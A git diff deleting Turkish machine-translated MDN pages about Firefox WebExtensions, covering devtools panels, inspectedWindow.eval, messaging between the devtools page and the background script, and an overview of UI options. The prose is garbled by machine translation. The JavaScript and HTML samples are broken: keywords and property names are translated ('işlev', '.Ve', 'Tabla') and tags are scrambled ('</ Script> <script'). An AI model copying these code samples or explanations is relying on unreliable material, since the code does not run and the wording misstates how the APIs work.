sayfası devtools API'ler erişim elde etmez. </font><font>Bunun yerine, devtools sayfa ve arka plan sayfasını kullanarak iletişim kurmalıdır </font></font><code>runtime</code><font><font>mesajlaşma API'leri. </font><font>İşte bir örnek:</font></font></p> - -<pre class="brush: html"><font><font><! DOCTYPE html></font></font><font><font> -<Html></font></font><font><font> - <Head></font></font><font><font> - <Meta karakter seti = "UTF-8"></font></font><font><font> - </ Head></font></font><font><font> - <Body></font></font><font><font> - </ Script> <script src = "devtools.js"></font></font><font><font> - </ Body></font></font><font><font> -</ Html></font></font></pre> - -<p><font><font>devtools.js dosyası dev araçları uzantıları yaratarak gerçek kod düzenleyecek.</font></font></p> - -<h2 id="paneller_oluşturma"><font><font>paneller oluşturma</font></font></h2> - -<p><font><font>devtools pencere barındıran ayrı bir dizi araç - JavaScript Debugger, Ağ İzleyicisi, vb. </font><font>üst kısmında sekmeler Bir sıra farklı araçlar arasındaki kullanıcı anahtarı sağlar. </font><font>Her aracın kullanıcı arayüzü barındırmak penceresi "paneli" olarak adlandırılır.</font></font></p> - -<p><font><font>Kullanımı </font></font><code>devtools.panels.create()</code><font><font>API, sen devtools penceresinde kendi paneli oluşturabilir:</font></font></p> - -<pre class="brush: js"><font><font>browser.devtools.panels.create (</font></font><font><font> - "Benim Paneli", // başlık</font></font><font><font> - "Simgeleri / star.png", // simgesi</font></font><font><font> - "Devtools / paneli / panel.html" // içerik</font></font><font><font> -) .Ve ((newPanel) => {</font></font><font><font> - newPanel.onShown.addListener (initialisePanel);</font></font><font><font> - newPanel.onHidden.addListener (unInitialisePanel);</font></font> -});</pre> - -<p><font><font>Panelin başlığı, simge ve içerik: Bu üç zorunlu argüman alır. </font><font>Bir döner </font></font><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a></code><font><font>bir çözer ki </font></font><code>devtools.panels.ExtensionPanel</code><font><font>yeni bir panel ifade eden nesne.</font></font></p> - -<h2 id="Hedef_pencere_ile_etkileşimde"><font><font>Hedef pencere ile etkileşimde</font></font></h2> - -<p><font><font>Geliştirici araçları her zaman belirli bir tarayıcı sekmesine eklenir. </font><font>Bu geliştirici araçları için "hedef" veya "teftiş pencere" olarak adlandırılır. </font><font>Sen kullanarak denetlenmiş pencere ile etkileşime girebilir </font></font><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow">devtools.inspectedWindow</a></code><font><font>API.</font></font></p> - -<h3 id="Hedef_penceresinde_kod_çalıştırma"><font><font>Hedef penceresinde kod çalıştırma</font></font></h3> - -<p><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow/eval">devtools.inspectedWindow.eval()</a></code><font><font>Teftiş pencerede kod çalıştırmasına bir yol sağlar.</font></font></p> - -<p><font><font>Bu biraz kullanmak gibidir {{WebExtAPIRef ( "tabs.executeScript ()")}} bir içerik komut enjekte ancak bunlarla önemli bir farkla:</font></font></p> - -<ul> - <li><font><font>içerik komut aksine, komut dosyaları kullanılarak yüklenen </font></font><code>devtools.inspectedWindow.eval()</code><strong><font><font>yok</font></font></strong><font><font> olsun </font></font><a href="/en-US/Add-ons/WebExtensions/Content_scripts#DOM_access"><font><font>bir "DOM temiz görünümü"</font></font></a><font><font> olduğunu, bunlar sayfa komut dosyaları tarafından yapılan sayfaya değişiklikleri görebilirsiniz.</font></font></li> -</ul> - -<div class="note"> -<p><font><font>DOM temiz bir görünüm yardım amaçlanan, bir güvenlik özelliğidir geldiğini hatırlatırız yerli DOM işlevleri davranışını yeniden tanımlanarak uzantıları kandırma gelen düşman sayfaları engeller. </font><font>Bu araçlar siz) eval (kullanarak çok dikkatli olmak gerekiyor ve eğer yapabilirsen normal içerik komut dosyası kullanmalısınız.</font></font></p> -</div> - -<p><font><font>Komut dosyaları kullanılarak yüklenen </font></font><code>devtools.inspectedWindow.eval()</code><font><font>içerik komut ile tanımlanan herhangi JavaScript değişkenleri görmüyorum de.</font></font></p> - -<h3 id="içerik_komut_ile_çalışma"><font><font>içerik komut ile çalışma</font></font></h3> - -<p><font><font>Bir devtools belge doğrudan erişimi yok {{WebExtAPIRef ( "tabs.executeScript ()")}} Bir içerik komut dosyası enjekte etmek gerekirse, bu nedenle, devtools belge arka plan komut bir mesaj göndermesi gerekir inject bunu soran senaryo. </font></font><code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow/tabId">devtools.inspectedWindow.tabId</a></code><font><font>Hedef sekmesinin kimliğini sağlar: devtools belge arka plan komut dosyasına bu geçebilir ve arka plan komut sırayla içine geçebilir {{WebExtAPIRef ( "tabs.executeScript ()")}}:</font></font></p> - -<pre class="brush: js"><font><font>// devtools-panel.js</font></font> -<font><font> -const scriptToAttach = "document.body.innerHTML = 'DevTools'un Hi';";</font></font> -<font><font> -window.addEventListener () ( "click" => {</font></font><font><font> - browser.runtime.sendMessage ({</font></font><font><font> - Tabla: browser.devtools.inspectedWindow.tabId,</font></font><font><font> - komut: scriptToAttach</font></font> - }); -});</pre> - -<pre class="brush: js"><font><font>// background.js</font></font> -<font><font> -işlev handleMessage (istek, gönderen, sendResponse) {</font></font><font><font> - browser.tabs.executeScript (request.tabId {</font></font><font><font> - kod: request.script</font></font> - }); -} -<font><font> -browser.runtime.onMessage.addListener (handleMessage);</font></font></pre> - -<p><font><font>Hedef penceresinde çalışan içerik komut ve devtools belgeye arasındaki değişim mesajlarına gerekiyorsa, {{WebExtAPIRef ( "runtime.connect ()")}} ve {{WebExtAPIRef ( "runtime.onConnect kullanmak iyi bir fikirdir ")}} arkaplan sayfası ile devtools belgeye arasında bağlantı kurmak için. </font><font>arka plan sayfası ardından sekme kimlikleri ve {{WebExtAPIRef ( "runtime.Port")}} nesneler arasında bir eşleme korumak ve iki kapsamları arasındaki iletileri yönlendirmek için kullanabilir.</font></font></p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/14923/devtools-content-scripts.png" style="display: block; height: 416px; margin-left: auto; margin-right: auto; width: 600px;"></p> - -<h2 id="devtools_APIler_sınırlamaları"><font><font>devtools API'ler sınırlamaları</font></font></h2> - -<p><font><font>Chrome dayanmaktadır Bu API'ler API'leri DevTools'un, ancak birçok özellik hala Chrome ile karşılaştırıldığında, eksik. </font><font>Bu bölümde yine devtools API'leri etkin geliştirme aşamasındadır ve gelecekteki yayınlara çoğu desteği eklemek beklediklerini Firefox 54. Not itibariyle uygulanmadı özellikleri.</font></font></p> - -<h3 id="devtools.inspectedWindow"><font><font><font><font>devtools.inspectedWindow</font></font></font></font></h3> - -<p><font><font>Aşağıdaki desteklenmez:</font></font></p> - -<ul> - <li><code>inspectedWindow.getResources()</code></li> - <li><code>inspectedWindow.onResourceAdded</code></li> - <li><code>inspectedWindow.onResourceContentCommitted</code></li> -</ul> - -<p><font><font>Seçeneklerden hiçbiri için </font></font><code>inspectedWindow.eval()</code><font><font>desteklenir.</font></font></p> - -<p><font><font>Komut dosyaları kullanılarak enjekte </font></font><code>inspectedWindow.eval()</code><font><font>tüm Konsolunun komut satırı yardımcı işlevlerini kullanamazsınız, ancak </font></font><code>$0</code><font><font>ve </font></font><code>inspect(...)</code><font><font>her ikisi (Firefox 55 başlayarak) desteklenir.</font></font></p> - -<h3 id="devtools.panels"><font><font><font><font>devtools.panels</font></font></font></font></h3> - -<p><font><font><font><font>Aşağıdaki desteklenmez:</font></font></font></font></p> - -<ul> - <li><code>panels.elements</code></li> - <li><code>panels.sources</code></li> - <li><code>panels.setOpenResourceHandler()</code></li> - <li><code>panels.openResource()</code></li> - <li><code>panels.ExtensionPanel.createStatusBarButton()</code></li> - <li><code>panels.Button</code></li> - <li><code>panels.ElementsPanel</code></li> - <li><code>panels.SourcesPanel</code></li> -</ul> - -<h2 id="Örnekler"><font><font>Örnekler</font></font></h2> - -<p><a href="https://github.com/mdn/webextensions-examples"><font><font>Webextensions-örnekler</font></font></a><font><font> GitHub'dan Repo, devtools panelleri kullanmak uzantıları bazı örnekler sunulmaktadır:</font></font></p> - -<ul> - <li> - <p><a href="https://github.com/mdn/webextensions-examples/blob/master/devtools-panels/"><font><font>devtools paneller</font></font></a><font><font> devtools panelleri kullanımı:</font></font></p> - </li> -</ul> diff --git a/files/tr/mozilla/add-ons/webextensions/index.html b/files/tr/mozilla/add-ons/webextensions/index.html deleted file mode 100644 index c4a3cfc16a..0000000000 --- a/files/tr/mozilla/add-ons/webextensions/index.html +++ /dev/null @@ -1,139 +0,0 @@ ---- -title: Tarayıcı uzantıları -slug: Mozilla/Add-ons/WebExtensions -tags: - - Eklentiler - - WebExtensions - - İniş -translation_of: Mozilla/Add-ons/WebExtensions -original_slug: Mozilla/Eklentiler/WebExtensions ---- -<div><font><font>{{AddonSidebar}}</font></font></div> - -<p><span id="result_box" lang="tr"><span>Uzantılar, bir tarayıcının yeteneğini genişletebilir ve değiştirebilir.</span></span> <span id="result_box" lang="tr"><span>Firefox eklentileri, uzantıları geliştirmek için çapraz tarayıcı sistemi olan Web Eklenti API'leri kullanılarak oluşturulmuştur.</span></span> Google Chrome, Opera ve <a href="https://browserext.github.io/browserext/">W3C Taslak Topluluk Grubu </a>tarafından deteklenen <a class="external-icon external" href="https://developer.chrome.com/extensions">API uzantısı</a> büyük ölçekteki sistemlerle uyumludur. Bu tarayıcılar için yazılan uzantılar bir çok durumda Firefox'ta yada bir kaç değişiklikle <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/documentation/extensions/">Microsoft Edge</a> ile çalışacaktır. Bu API aynı zamanda <a href="https://developer.mozilla.org/en-US/Firefox/Multiprocess_Firefox">çoklu prosesli Firefox</a>'la tamamen uyumludur.</p> - -<p>Eğer fikir veya sorularınız varsa, yada eski add-on'nuzu Web eklenti API'lerini kullanarak uyarlamak için yardıma ihtiyaç duyarsanız, bize <a href="https://mail.mozilla.org/listinfo/dev-addons">dev-addons mail listesi </a>yada <a href="https://wiki.mozilla.org/IRC">IRC üzerinden </a> <a href="irc://irc.mozilla.org/webextensions">#webextensions</a> aracılığı ile ulaşabilirsiniz.</p> - -<div class="row topicpage-table"> -<div class="section"> -<h2 id="Başlarken">Başlarken</h2> - -<ul> - <li><a href="/en-US/Add-ons/WebExtensions/What_are_WebExtensions">Eklenti Nedir?</a></li> - <li><a href="/en-US/Add-ons/WebExtensions/Your_first_WebExtension">İlk Eklentiniz</a></li> - <li><a href="/en-US/Add-ons/WebExtensions/Your_second_WebExtension">İkinci Eklentiniz</a></li> - <li><a href="/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension">Eklenti Analizi</a></li> - <li><a href="/en-US/Add-ons/WebExtensions/Examples">Eklenti Örnekleri</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/What_next_">Bir Sonraki Ne?</a></li> -</ul> - -<h2 id="Kavramlar"><span class="short_text" id="result_box" lang="tr"><span>Kavramlar</span></span></h2> - -<ul> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API"><font><font>JavaScript API'lerine Genel Bakış</font></font></a></li> - <li><a href="/en-US/Add-ons/WebExtensions/Content_scripts">İçerik Script'leri</a></li> - <li><a href="/en-US/Add-ons/WebExtensions/Match_patterns">Şablon Eşleştirme</a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Working_with_files">Dosyalarla Çalışma</a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Internationalization">İçselleştirme</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Security_best_practices">En iyi güvenlik Uygulamaları</a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">İçerik Güvenliği Politikası</a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Native_messaging">Yerel Mesajlaşma</a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Using_the_devtools_APIs">Geliştirme Araçları API'lerini Kullanma</a></li> - <li><a href="/en-US/Add-ons/WebExtensions/User_experience_best_practices">En iyi Kullanıcı Deneyimi Uygulamaları</a></li> - <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Native_manifests">Yerel Bildirimler</a></li> -</ul> - -<h2 id="Kullanıcı_Arayüzü">Kullanıcı Arayüzü</h2> - -<ul> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface">Giriş</a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_action">Tarayıcı Araç Çubuğu Düğmesi</a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Popups">Tarayıcı Araç Çubuğu Popup Düğmesi</a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Page_actions">Adres Çubuğu Düğmesi</a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Popups">Adres Çubuğu Popup Düğmesi</a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items">İçerik Menüsü Öğeleri</a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Sidebars">Kenar Çubukları</a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Options_pages"><font><font>Ayar Sayfası</font></font></a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Bundled_web_pages"><font><font>Eklenti Sayfaları</font></font></a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Notifications"><font><font>Bildirimler</font></font></a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Omnibox"><font><font>Adres Çubuğu Önerileri</font></font></a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels"><font><font>Geliştirme Aracı Panelleri</font></font></a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_styles"><font><font>Tarayıcı Stilleri</font></font></a></li> -</ul> - -<h2 id="Nasıl_Yapılır"><font><font>Nasıl Yapılır</font></font></h2> - -<ul> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests"><font><font>HTTP İsteklerini Kesme</font></font></a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Modify_a_web_page"><font><font>Web Sayfasını Değiştirme</font></font></a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Add_a_button_to_the_toolbar"><font><font>Araç Çubuğuna Düğme Ekleme</font></font></a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Implement_a_settings_page"><font><font>Ayarlar Sayfasını Uygulama</font></font></a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Interact_with_the_clipboard"><font><font>Pano ile Etkileşim</font></font></a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Working_with_the_Tabs_API"><font><font>Sekme API'leri ile Çalışma</font></font></a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Work_with_the_Bookmarks_API"><font><font>Yerimi API'leri ile Çalışma</font></font></a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Work_with_the_Cookies_API"><font><font>Çerez API'leri ile Çalışma</font></font></a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Work_with_contextual_identities"><font><font>Bağlamsal Kimliklerle Çalışma</font></font></a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Safely_inserting_external_content_into_a_page"><font><font>Dış İçerik Ekleme</font></font></a></li> -</ul> - -<ul> -</ul> - -<h2 id="Uyarlama"><font><font>Uyarlama</font></font></h2> - -<ul> - <li><a href="/en-US/Add-ons/WebExtensions/Porting_from_Google_Chrome"><font><font>Google Chrome Eklentisini Uyarlama</font></font></a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Porting_a_legacy_Firefox_add-on"><font><font>Eski Firefox Eklentisini Uyarlama</font></font></a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Developing_WebExtensions_for_Firefox_for_Android"><font><font>Android için Firefox Geliştirme</font></font></a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Embedded_WebExtensions"><font><font>Gömülü WEB Eklentileri</font></font></a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Comparison_with_the_Add-on_SDK"><font><font>Add-on SDK ile Karşılaştırma</font></font></a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Comparison_with_XUL_XPCOM_extensions"><font><font>XUL/XPCOM Eklentileri ile Karşılaştırma</font></font></a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Chrome_incompatibilities"><font><font>Chrome Uyumsuzlukları</font></font></a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Differences_between_desktop_and_Android"><font><font>Masaüstü ve Android arasındaki Farklılıklar</font></font></a></li> -</ul> - -<h2 id="Firefox_İşakışı"><font><font>Firefox İşakışı</font></font></h2> - -<ul> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/User_experience_best_practices"><font><font>Kullanıcı Deneyimleri</font></font></a></li> - <li><a href="/en-US/Add-ons/WebExtensions/Temporary_Installation_in_Firefox"><font><font>Kurulum</font></font></a></li> - <li><a href="/en-US/Add-ons/WebExtensions/Debugging"><font><font>Hata Ayıklama</font></font></a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Testing_persistent_and_restart_features"><font><font>Kalıcı Test ve Yeniden Başlatma Özellikleri</font></font></a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext"><font><font>web-ext ile Başlamak</font></font></a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/web-ext_command_reference"><font><font>web-ext Komut Referansları</font></font></a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID"><font><font>Add-on ID ve Eklentiler</font></font></a></li> - <li><a href="/en-US/Add-ons/WebExtensions/Alternative_distribution_options"><font><font>Alternatif Dağıtım Ayarları</font></font></a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Request_the_right_permissions"><font><font>Doğru İzin İsteme</font></font></a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Sharing_objects_with_page_scripts"><font><font>Sayfa scriptleri ile Nesne Paylaşma</font></font></a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Retiring_your_extension"><font><font>Uzantılarınızı Geri Alma</font></font></a></li> - <li><a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Tips"><font><font>İp Uçları ve Püf Noktalar</font></font></a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Publishing_your_WebExtension"><font><font>Uzantılarınızı Paketleme</font></font></a></li> -</ul> -</div> - -<div class="section"> -<h2 id="Referans"><font><font>Referans</font></font></h2> - -<h3 id="JavaScript_APIleri"><font><font>JavaScript API'leri</font></font></h3> - -<ul> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API"><font><font>JavaScript API'lerine Genel Bakış</font></font></a></li> - <li><a href="/en-US/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs"><font><font>JavaScript API'leri için Tarayıcı Uyumluluk Tablosu</font></font></a></li> -</ul> - -<div class="twocolumns"><font><font>{{ListSubpages ( "/ tr / Eklentiler / WebExtensions / API")}}</font></font></div> - -<h3 id="Bildirim_Anahtarları"><font><font>Bildirim Anahtarları</font></font></h3> - -<ul> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json"><font><font>manifest.json Genel Bakışı</font></font></a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Browser_compatibility_for_manifest.json"><font><font>manifest.json için Tarayıcı Uyumluluğu</font></font></a></li> -</ul> - -<p> </p> - -<div class="twocolumns"><font><font>{{ListSubpages ( "/en-US/Add-ons/WebExtensions/manifest.json")}}</font></font></div> -</div> -</div> - -<p> </p> diff --git a/files/tr/mozilla/add-ons/webextensions/user_interface/index.html b/files/tr/mozilla/add-ons/webextensions/user_interface/index.html deleted file mode 100644 index b7c071d37a..0000000000 --- a/files/tr/mozilla/add-ons/webextensions/user_interface/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: User interface -slug: Mozilla/Add-ons/WebExtensions/user_interface -tags: - - Kullanıcı arayüzü - - WebExtensions - - İniş -translation_of: Mozilla/Add-ons/WebExtensions/user_interface -original_slug: Mozilla/Eklentiler/WebExtensions/user_interface ---- -<div><font><font>{{AddonSidebar}}</font></font></div> - -<p><font><font>Kullanım WebExtension API'leri onların işlevselliği kullanıcıya sunulabilir böylece birkaç kullanıcı arayüzü seçenekleri ile sağlandığını uzantılar. </font><font>bu seçeneklerden bir özeti bu bölümde her kullanıcı arayüz seçeneği için daha ayrıntılı tanıtımıyla, aşağıda verilmiştir.</font></font></p> - -<div class="note"> -<p><font><font>Uzantınızda mükemmel bir kullanıcı deneyimi yaratmak için bu UI bileşenlerini kullanarak tavsiye için lütfen </font></font><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/User_experience_best_practices"><font><font>Kullanıcı deneyimi en iyi uygulamaları</font></font></a><font><font> makale.</font></font></p> -</div> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col"><font><font>UI seçeneği</font></font></th> - <th scope="col"><font><font>Açıklama</font></font></th> - <th scope="col" style="width: 350px;"><font><font>Misal</font></font></th> - </tr> - </thead> - <tbody> - <tr> - <td><a href="/Add-ons/WebExtensions/user_interface/Browser_action"><font><font>Araç Çubuğu düğme</font></font></a><font><font> (tarayıcı eylem)</font></font></td> - <td><font><font>tıklandığında uzantısı bir olay gönderir Tarayıcı araç çubuğunda bir düğme. </font><font>Varsayılan olarak, düğme tüm sekmelerin görünür.</font></font></td> - <td><img alt="Örnek bir araç çubuğu düğmesi (tarayıcı eylem) gösteren." src="https://mdn.mozillademos.org/files/15751/browser-action.png" style="height: 364px; width: 700px;"></td> - </tr> - <tr> - <td><font><font>Bir ile Çubuğu düğmesi </font></font><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Popups"><font><font>açılır</font></font></a></td> - <td><font><font>düğme tıklandığında o araç çubuğu tarayıcıda bir düğmeye bir açılır pencere açılır. </font><font>Popup kullanıcı etkileşimi yönetir bir HTML belgesinde tanımlanmıştır.</font></font></td> - <td><img alt="Bir araç çubuğu düğmesini pop-up örneği" src="https://mdn.mozillademos.org/files/15753/popup-shadow.png" style="height: 624px; width: 700px;"></td> - </tr> - <tr> - <td><a href="/Add-ons/WebExtensions/user_interface/Page_actions"><font><font>Adres çubuğu düğmesi</font></font></a><font><font> (sayfa aksiyon)</font></font></td> - <td><font><font>tıklandığında uzantısı bir olay gönderir tarayıcının adres çubuğunda bir düğme. </font><font>Varsayılan olarak, düğme tüm sekmelerin gizli.</font></font></td> - <td><img alt="Örnek bir adres çubuğu düğmesini gösteren (sayfa aksiyon) " src="https://mdn.mozillademos.org/files/15745/address_bar_button.png" style="height: 348px; width: 700px;"></td> - </tr> - <tr> - <td><font><font>Bir ile Adres çubuğu düğmesi </font></font><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Popups"><font><font>açılır</font></font></a></td> - <td><font><font>düğmesi tıklandığında açılan tarayıcı adres çubuğunda bir düğmeyi bir açılır pencere. </font><font>Popup kullanıcı etkileşimi yönetir bir HTML belgesinde tanımlanmıştır.</font></font></td> - <td><img alt="Adres çubuğu düğmesinin bir popup örneği" src="https://mdn.mozillademos.org/files/15747/page_action_popup.png" style="height: 524px; width: 700px;"></td> - </tr> - <tr> - <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items"><font><font>Bağlam menü öğesi</font></font></a></td> - <td><font><font>bir ya da tarayıcının bağlam menüleri daha menü öğeleri onay kutularını ve radyo düğmeleri. </font><font>Ayrıca, menüler ayırıcılar ekleyerek yapılandırılabilir. </font><font>menü öğeleri tıklandığında bir olay uzantısı gönderilir.</font></font></td> - <td><img alt="bağlam menü demo örnekten bir WebExtension tarafından eklenen içerik menü öğeleri, örneği" src="https://mdn.mozillademos.org/files/15756/context_menu_example.png" style="height: 942px; width: 864px;"></td> - </tr> - <tr> - <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Sidebars"><font><font>Kenar çubuğu</font></font></a></td> - <td> - <p dir="ltr"><font><font>Bir HTML dokümanı sayfa başına benzersiz içerik seçeneği ile, bir web sayfası yanında görüntülenen. </font><font>uzantı yüklendiğinde kenar çubuğu daha sonra kullanıcının kenar çubuğu görünürlük seçimi itaat, açılır. </font><font>Kenar çubuğunda içinde kullanıcı etkileşimi kendi HTML belgesi tarafından gerçekleştirilmektedir.</font></font></p> - </td> - <td><img alt="bir kenar çubuğu Örnek" src="https://mdn.mozillademos.org/files/15755/bookmarks-sidebar.png" style="height: 846px; width: 700px;"></td> - </tr> - <tr> - <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Options_pages"><font><font>Seçenekler sayfa</font></font></a></td> - <td><font><font>Eğer kullanıcıların değişebileceğini Uzantınız için tercihlerini belirlemek sağlayan bir sayfa. </font><font>kullanıcı tarayıcının eklenti yöneticisinden bu sayfaya erişebilirsiniz.</font></font></td> - <td><img alt="Örnek favori renkleri örnekte eklenen seçenekler sayfa içeriğini gösteren." src="https://mdn.mozillademos.org/files/15748/options_page.png"></td> - </tr> - <tr> - <td><a href="/Add-ons/WebExtensions/user_interface/Extension_pages"><font><font>Uzatma sayfa</font></font></a></td> - <td><font><font>Uzantınızda dahil kullanın web sayfaları pencere veya sekme içindeki formları, yardım veya gerekli diğer herhangi bir içerik sağlamak.</font></font></td> - <td><img alt="Basit bir paket sayfası örneği müstakil bir panel olarak görüntülenir." src="https://mdn.mozillademos.org/files/15752/bundled_page_as_panel_small.png" style="height: 432px; width: 700px;"></td> - </tr> - <tr> - <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Notifications"><font><font>Bildirim</font></font></a></td> - <td><font><font>Geçici bildirimleri temel işletim sisteminin bildirimleri mekanizması yoluyla kullanıcıya görüntülenir. </font><font>Kullanıcı bir bildirim veya bir bildirim kapanır (ya otomatik olarak veya kullanıcının isteği üzerine) tıkladığında uzantısına bir olay gönderir.</font></font></td> - <td><img alt="Uzatma tetiklenen sistemi bildirimi Örnek" src="https://mdn.mozillademos.org/files/15754/notify-shadowed.png" style="height: 294px; width: 780px;"></td> - </tr> - <tr> - <td><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Omnibox"><font><font>Adres çubuğu öneri</font></font></a></td> - <td><font><font>Kullanıcı bir anahtar kelime girdiğinde Özel adres çubuğu önerilerinin sunun.</font></font></td> - <td><img alt="Örnek Adres çubuğu önerilerini firefox_code_search WebExtension en özelleştirme sonucunu gösteren." src="https://mdn.mozillademos.org/files/15749/omnibox_example_small.png" style="height: 464px; width: 700px;"></td> - </tr> - <tr> - <td><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels"><font><font>Geliştirici araçları paneli</font></font></a></td> - <td><font><font>ilişkili HTML dokümanı ile bir sekme o tarayıcının geliştirici araçları görüntüler.</font></font></td> - <td><img alt="Örnek Adres çubuğu önerilerini firefox_code_search WebExtension en özelleştirme sonucunu gösteren." src="https://mdn.mozillademos.org/files/15746/developer_panel_tab.png" style="height: 224px; width: 700px;"></td> - </tr> - </tbody> -</table> - -<p><font><font>kılavuzları nasıl yapılır şu bu kullanıcı arayüzü seçeneklerden bazılarını oluşturmak için adım adım rehberlik:</font></font></p> - -<ul> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Accessibility_guidelines"><font><font>Erişilebilirlik yönergeleri</font></font></a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Add_a_button_to_the_toolbar"><font><font>araç çubuğuna bir düğme ekleyin</font></font></a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_styles"><font><font>Tarayıcı stilleri</font></font></a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools"><font><font>geliştirici araçları genişletme</font></font></a></li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Implement_a_settings_page"><font><font>Bir ayarları sayfası uygulamak</font></font></a></li> -</ul> diff --git a/files/tr/mozilla/add-ons/webextensions/what_are_webextensions/index.html b/files/tr/mozilla/add-ons/webextensions/what_are_webextensions/index.html deleted file mode 100644 index 266752739d..0000000000 --- a/files/tr/mozilla/add-ons/webextensions/what_are_webextensions/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Eklenti nedir? -slug: Mozilla/Add-ons/WebExtensions/What_are_WebExtensions -tags: - - Eklentiler - - Web eklentileri -translation_of: Mozilla/Add-ons/WebExtensions/What_are_WebExtensions -original_slug: Mozilla/Eklentiler/WebExtensions/Eklenti_nedir ---- -<div>{{AddonSidebar}}</div> - -<p> </p> - -<p>Bir eklenti bir web tarayıcısına 